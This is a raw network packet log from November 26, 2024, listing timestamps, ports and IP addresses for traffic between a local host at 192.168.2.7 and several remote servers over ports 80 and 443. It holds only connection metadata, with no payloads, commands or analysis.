Nov 26, 2024 22:52:54.158188105 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.158847094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.158930063 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.158982038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.159765005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.159804106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.159888029 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.159930944 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.160650015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.160702944 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.160733938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.160787106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.161535025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.161582947 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.161644936 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.161690950 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.162424088 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.162461996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.162590027 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.162627935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.163333893 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.163388968 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.163542986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.163597107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.164262056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.164307117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.164359093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.164427042 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.165154934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.165246964 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.165291071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.165338993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.166024923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.166074038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.258826017 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.261466026 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.261493921 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.261990070 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.261996984 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.344706059 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.345160961 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.345766068 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.345787048 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.346218109 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.346225023 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.346580029 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.346597910 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.346955061 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.346959114 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.634057045 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.634085894 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.707256079 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.707346916 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.707406044 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.707423925 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.707629919 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.707629919 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.707647085 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.708049059 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.708147049 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.708219051 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.711591005 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.711622000 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.711703062 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.711843014 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.711857080 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.753988981 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.754023075 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.788564920 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.789597988 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792083025 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792145967 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792222023 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792237043 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792248964 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792253971 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792479038 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792536020 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792609930 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792609930 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.792623043 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.792632103 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.795023918 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795095921 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795109987 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.795130968 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.795197010 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795226097 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795418978 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795432091 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.795453072 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.795478106 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.939116001 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.939687967 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.939716101 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.940172911 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:54.940179110 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.262842894 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:55.268650055 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:55.268692970 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:55.269320011 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:55.269326925 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:55.269357920 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:55.269365072 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:55.287903070 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.287985086 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.288045883 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.288074017 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.342022896 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.342035055 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.345453978 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.345468998 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.345690012 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.345695019 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.345949888 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.345957041 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.392915010 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.396411896 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.396497965 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.396631002 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.396636963 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.396645069 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.396648884 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.399837017 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.399949074 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.400048018 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.400249004 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.400283098 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.631881952 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.631978989 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.634915113 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.634928942 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.635227919 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.636023045 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:55.679339886 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:55.695066929 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.741806030 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.747023106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:55.747121096 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:55.797020912 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.797095060 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.797142982 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.797220945 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.797271967 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.797466040 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.797889948 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.797913074 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.803219080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:55.805511951 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.813920975 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.813985109 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.813994884 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.822319984 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.822391033 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.822401047 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.830641031 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.830693960 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.830702066 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.839066029 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.839139938 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.839159012 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.889218092 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.917057037 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.923074961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:55.945544958 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:55.945601940 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:55.998217106 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.001503944 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.001574039 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.001585960 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.002857924 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.002912998 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.006869078 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.013741016 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.013811111 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.013818979 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.020628929 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.020721912 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.020740032 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.020778894 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.027338982 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.034152031 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.034241915 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.034250975 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.034296036 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.040831089 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.047688007 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.047755957 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.047764063 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.054492950 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.054558992 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.054574013 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.054585934 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.054634094 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.060172081 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.065717936 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.065793037 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.065800905 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.071295977 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.071343899 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.071409941 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.071418047 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.071460009 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.076879025 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.131441116 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.131460905 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.143336058 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.146262884 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.146353960 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.147221088 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.147221088 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.147241116 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.147250891 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.150190115 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.150222063 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.150295019 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.150429964 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.150441885 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.162209988 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.162288904 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.162298918 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.206125975 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.206255913 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.206274033 CET	443	49879	104.70.121.18	192.168.2.7
Nov 26, 2024 22:52:56.256725073 CET	49879	443	192.168.2.7	104.70.121.18
Nov 26, 2024 22:52:56.279685974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.279803038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.279864073 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.279908895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.280004978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.280056000 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.282954931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.403054953 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.495982885 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.496064901 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.497584105 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.497596025 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.497909069 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.499305010 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.522216082 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.522242069 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.522281885 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.522325039 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.522356033 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.522370100 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.522375107 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.522418976 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.539339066 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.543358088 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.543380022 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.543390989 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.543404102 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.612674952 CET	49900	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.612701893 CET	443	49900	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.612763882 CET	49900	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.613003969 CET	49900	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.613017082 CET	443	49900	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.615238905 CET	49901	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.615269899 CET	443	49901	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.615334988 CET	49901	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.615596056 CET	49901	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.615607977 CET	443	49901	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.646253109 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.665944099 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.666045904 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.667155981 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.667170048 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.667494059 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.668313980 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.675833941 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.675896883 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.676933050 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.676937103 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.677210093 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.677920103 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.687340021 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.711334944 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.723339081 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.745923042 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.746016979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.758356094 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:56.878205061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:56.878650904 CET	443	49900	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.878746033 CET	443	49901	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.879348993 CET	49904	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.879376888 CET	443	49904	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.879381895 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.879421949 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.879462004 CET	49904	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.879496098 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.879715919 CET	49906	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.879738092 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.879842043 CET	49904	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:56.879853010 CET	443	49904	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:56.879878044 CET	49905	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.879899025 CET	443	49905	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.879959106 CET	49906	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.880105972 CET	49906	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.880121946 CET	443	49906	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.943234921 CET	49908	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.943280935 CET	443	49908	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.943504095 CET	49908	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.943557024 CET	49908	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:56.943568945 CET	443	49908	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:56.955806017 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.958970070 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.959023952 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.959110975 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.959110975 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.959146976 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.959146976 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.959166050 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.959173918 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.962157965 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.962192059 CET	443	49909	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:56.962282896 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.962471008 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:56.962482929 CET	443	49909	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.021440029 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:57.021514893 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:57.021573067 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:57.022459984 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:57.022469044 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:57.369323015 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.372054100 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.372106075 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.372163057 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.372185946 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.372196913 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.372203112 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.375160933 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.375212908 CET	443	49910	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.375274897 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.375473022 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.375488997 CET	443	49910	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.377876997 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.377943039 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.379178047 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:57.379188061 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:57.379476070 CET	443	49898	13.107.246.63	192.168.2.7
